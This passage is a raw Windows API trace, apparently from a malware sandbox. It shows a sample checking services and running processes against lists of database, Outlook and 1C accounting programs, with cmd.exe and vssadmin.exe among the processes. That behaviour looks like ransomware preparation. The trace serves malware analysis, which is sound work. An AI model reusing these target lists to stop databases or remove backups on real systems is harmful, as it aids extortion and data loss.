(lpString1="sqlwriter", lpString2="Power") returned 1 [0208.213] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0208.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0208.213] lstrlenW (lpString="ProfSvc") returned 7 [0208.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0208.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0208.214] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0208.214] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0208.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0208.214] lstrlenW (lpString="RpcEptMapper") returned 12 [0208.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0208.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0208.214] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0208.214] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0208.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0208.214] lstrlenW (lpString="RpcSs") returned 5 [0208.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0208.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0208.215] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0208.215] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0208.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0208.215] lstrlenW (lpString="SamSs") returned 5 [0208.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0208.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0208.215] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0208.215] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0208.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0208.215] lstrlenW (lpString="Schedule") returned 8 [0208.216] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0208.216] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0208.216] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0208.216] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0208.217] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0208.217] lstrlenW (lpString="SENS") returned 4 [0208.217] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0208.217] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0208.217] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0208.217] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0208.217] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0208.217] lstrlenW (lpString="ShellHWDetection") returned 16 [0208.217] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0208.218] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0208.218] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0208.218] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0208.218] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0208.218] lstrlenW (lpString="Spooler") returned 7 [0208.218] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0208.218] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0208.218] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0208.218] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0208.218] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0208.218] lstrlenW (lpString="Themes") returned 6 [0208.218] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0208.219] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0208.219] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0208.219] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0208.219] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0208.219] lstrlenW (lpString="UxSms") returned 5 [0208.219] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0208.219] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0208.219] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0208.219] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0208.219] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0208.219] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x4190058 | out: hHeap=0x880000) returned 1 [0208.220] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1f4 [0208.225] Process32FirstW (in: hSnapshot=0x1f4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0208.227] Process32NextW (in: hSnapshot=0x1f4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0208.228] lstrlenW (lpString="System") returned 6 [0208.228] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0208.228] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0208.228] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0208.228] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0208.228] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0208.228] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0208.228] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0208.228] Process32NextW (in: hSnapshot=0x1f4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0208.229] lstrlenW (lpString="smss.exe") returned 8 [0208.229] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0208.229] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0208.230] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0208.230] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0208.230] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0208.230] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0208.230] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0208.230] Process32NextW (in: hSnapshot=0x1f4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0208.231] lstrlenW (lpString="csrss.exe") returned 9 [0208.231] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0208.231] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0208.650] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0208.650] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0208.650] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0208.650] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0208.650] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0208.650] Process32NextW (in: hSnapshot=0x1f4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0208.651] lstrlenW (lpString="wininit.exe") returned 11 [0208.651] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0208.651] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0208.651] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0208.652] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0208.652] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0208.652] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0208.652] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0208.652] Process32NextW (in: hSnapshot=0x1f4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0208.654] lstrlenW (lpString="csrss.exe") returned 9 [0208.654] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0208.654] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0208.654] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0208.654] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0208.654] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0208.654] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0208.654] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0208.654] Process32NextW (in: hSnapshot=0x1f4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0208.655] lstrlenW (lpString="winlogon.exe") returned 12 [0208.655] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0208.655] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0208.655] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0208.655] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0208.655] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0208.655] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0208.656] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0208.656] Process32NextW (in: hSnapshot=0x1f4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0208.657] lstrlenW (lpString="services.exe") returned 12 [0208.657] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0208.657] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0208.657] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0208.657] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0208.657] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0208.657] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0208.657] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0208.657] Process32NextW (in: hSnapshot=0x1f4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0208.658] lstrlenW (lpString="lsass.exe") returned 9 [0208.658] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0208.658] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0208.658] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0208.658] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0208.659] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0208.659] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0208.659] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0208.659] Process32NextW (in: hSnapshot=0x1f4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0208.660] lstrlenW (lpString="lsm.exe") returned 7 [0208.660] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0208.660] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0208.660] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0208.660] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0208.660] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0208.660] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0208.660] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0208.660] Process32NextW (in: hSnapshot=0x1f4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0208.661] lstrlenW (lpString="svchost.exe") returned 11 [0208.661] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0208.661] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0208.661] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0208.661] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0208.662] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0208.662] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0208.662] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0208.662] Process32NextW (in: hSnapshot=0x1f4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0208.663] lstrlenW (lpString="svchost.exe") returned 11 [0208.663] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0208.663] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0208.663] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0208.663] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0208.663] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0208.663] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0208.663] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0208.663] Process32NextW (in: hSnapshot=0x1f4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0208.664] lstrlenW (lpString="svchost.exe") returned 11 [0208.664] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0208.664] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0208.665] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0208.665] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0208.665] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0208.665] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0208.665] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0208.665] Process32NextW (in: hSnapshot=0x1f4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0208.666] lstrlenW (lpString="svchost.exe") returned 11 [0208.666] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0208.666] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0208.666] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0208.666] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0208.666] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0208.666] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0208.666] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0208.666] Process32NextW (in: hSnapshot=0x1f4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0208.667] lstrlenW (lpString="svchost.exe") returned 11 [0208.668] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0208.668] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0208.668] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0208.668] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0208.668] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0208.668] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0208.668] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0208.669] Process32NextW (in: hSnapshot=0x1f4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0208.670] lstrlenW (lpString="audiodg.exe") returned 11 [0208.670] lstrcmpiW (lpString1="1c8.exe", lpString2="audiodg.exe") returned -1 [0208.670] lstrcmpiW (lpString1="1cv77.exe", lpString2="audiodg.exe") returned -1 [0208.670] lstrcmpiW (lpString1="outlook.exe", lpString2="audiodg.exe") returned 1 [0208.670] lstrcmpiW (lpString1="postgres.exe", lpString2="audiodg.exe") returned 1 [0208.670] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="audiodg.exe") returned 1 [0208.671] lstrcmpiW (lpString1="mysqld.exe", lpString2="audiodg.exe") returned 1 [0208.671] lstrcmpiW (lpString1="sqlservr.exe", lpString2="audiodg.exe") returned 1 [0208.671] Process32NextW (in: hSnapshot=0x1f4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0208.672] lstrlenW (lpString="svchost.exe") returned 11 [0208.672] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0208.672] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0208.672] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0208.672] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0208.672] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0208.672] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0208.672] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0208.672] Process32NextW (in: hSnapshot=0x1f4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0208.673] lstrlenW (lpString="userinit.exe") returned 12 [0208.673] lstrcmpiW (lpString1="1c8.exe", lpString2="userinit.exe") returned -1 [0208.674] lstrcmpiW (lpString1="1cv77.exe", lpString2="userinit.exe") returned -1 [0208.674] lstrcmpiW (lpString1="outlook.exe", lpString2="userinit.exe") returned -1 [0208.674] lstrcmpiW (lpString1="postgres.exe", lpString2="userinit.exe") returned -1 [0208.674] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="userinit.exe") returned -1 [0208.674] lstrcmpiW (lpString1="mysqld.exe", lpString2="userinit.exe") returned -1 [0208.674] lstrcmpiW (lpString1="sqlservr.exe", lpString2="userinit.exe") returned -1 [0208.674] Process32NextW (in: hSnapshot=0x1f4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0208.675] lstrlenW (lpString="explorer.exe") returned 12 [0208.675] Process32NextW (in: hSnapshot=0x1f4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0208.676] lstrlenW (lpString="dwm.exe") returned 7 [0208.676] Process32NextW (in: hSnapshot=0x1f4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0208.677] lstrlenW (lpString="svchost.exe") returned 11 [0208.677] Process32NextW (in: hSnapshot=0x1f4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x368, pcPriClassBase=8, dwFlags=0x0, szExeFile="driver.exe")) returned 1 [0208.678] lstrlenW (lpString="driver.exe") returned 10 [0208.678] Process32NextW (in: hSnapshot=0x1f4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0208.679] lstrlenW (lpString="spoolsv.exe") returned 11 [0208.679] Process32NextW (in: hSnapshot=0x1f4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0208.681] lstrlenW (lpString="taskhost.exe") returned 12 [0208.681] Process32NextW (in: hSnapshot=0x1f4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0208.682] lstrlenW (lpString="svchost.exe") returned 11 [0208.682] Process32NextW (in: hSnapshot=0x1f4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0208.683] lstrlenW (lpString="dllhost.exe") returned 11 [0208.683] Process32NextW (in: hSnapshot=0x1f4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x4d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0208.686] lstrlenW (lpString="cmd.exe") returned 7 [0208.686] Process32NextW (in: hSnapshot=0x1f4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0208.687] lstrlenW (lpString="reader_sl.exe") returned 13 [0208.687] Process32NextW (in: hSnapshot=0x1f4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0208.688] lstrlenW (lpString="conhost.exe") returned 11 [0208.688] Process32NextW (in: hSnapshot=0x1f4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x5d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0208.689] lstrlenW (lpString="vssadmin.exe") returned 12 [0208.689] Process32NextW (in: hSnapshot=0x1f4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x5d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0208.691] CloseHandle (hObject=0x1f4) returned 1 [0208.691] Sleep (dwMilliseconds=0x1f4) [0209.607] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41d7810 [0209.935] EnumServicesStatusExW (in: hSCManager=0x41d7810, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0210.052] GetLastError () returned 0xea [0210.052] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa64) returned 0x41ccf70 [0210.052] 